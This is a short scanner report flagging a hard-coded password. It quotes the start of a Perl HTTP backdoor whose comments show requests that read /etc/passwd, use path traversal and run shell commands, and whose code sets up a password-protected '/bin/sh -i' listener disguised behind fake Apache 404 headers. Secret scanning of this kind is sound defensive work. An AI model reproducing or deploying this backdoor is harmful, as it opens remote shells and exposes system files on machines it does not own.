Detected 1 occurrence(s) of ‘\s*pass[word]+\s*[:=]\s*["'][a-z0-9\-_\!\$]+["']‘: {ENTER} # 2. download files # http://target:8008/file?/etc/passwd # or # http://target:8008/file?../some/file # 3. http shell # http://target:8008/shell?id;uname -a # Author: [ rav3n nomail@host.com ] use Socket; $SHELL="/bin/sh -i"; $SHELLPASSWORD="skides"; $LISTENPORT="8008"; $HTTPFILECMD="file"; $HTTPSHELLCMD="shell"; $HTTP404= "HTTP/1.1 404 Not Found\n" . "Date: Mon, 14 Jan 2002 03:19:55 GMT\n" . "Server: Apache/1.3.22 (Unix)\n" . […]
↧